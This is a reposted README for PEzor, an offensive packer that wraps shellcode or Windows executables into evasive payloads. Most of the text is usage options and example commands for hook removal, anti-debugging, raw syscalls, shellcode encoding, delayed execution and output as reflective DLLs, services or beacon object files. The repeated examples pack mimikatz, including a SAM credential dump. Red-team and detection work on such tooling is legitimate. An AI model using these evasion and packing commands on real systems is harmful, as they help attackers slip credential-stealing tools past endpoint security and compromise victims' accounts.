PEzor : Open-Source Shellcode And PE Packer

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PEzor is a Open-Source Shellcode And PE Packer.

Installation

The install.sh is designed to work on a Kali Linux distro.

$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h

Upgrading from v2.x.x

The PATH variable has to be updated to use a specific commit of Donut! Check the updated install.sh script.

Usage

  • PEzor -h
  • PEzor <EXECUTABLE> [donut args...]
  • PEzor <SHELLCODE>

PEzor help

display help for PEzor

USAGE
$ PEzor help

PEzor <EXECUTABLE>

Pack the provided executable into a new one

USAGE
$ PEzor [options…] [donut args…]
# PEzor [options…] [donut args…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the generated shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread
-sdk=VERSION Use specified .NET Framework version (2, 4, 4.5 (default))
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
[donut args…] After the executable to pack, you can pass additional Donut args, such as -z 2
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p ‘”log c:\users\public\mimi.out” “token::whoami” “exit”‘
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread) and arguments for donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 “-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv”

PEzor <SHELLCODE>

Pack the provided shellcode into an executable

USAGE
$ PEzor <-32|-64> [options…]
OPTIONS
-h Show usage and exits
-32 Force 32-bit executable
-64 Force 64-bit executable
-debug Generate a debug build
-unhook User-land hooks removal
-antidebug Add anti-debug checks
-syscalls Use raw syscalls [64-bit only] [Windows 10 only]
-sgn Encode the provided shellcode with sgn
-text Store shellcode in .text section instead of .data
-rx Allocate RX memory for shellcode
-self Execute the shellcode in the same thread [requires RX shellcode, not compatible with -sgn]
-sleep=N Sleeps for N seconds before unpacking the shellcode
-format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
EXAMPLES
# 64-bit (self-inject RWX)
$ PEzor.sh shellcode.bin
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin’

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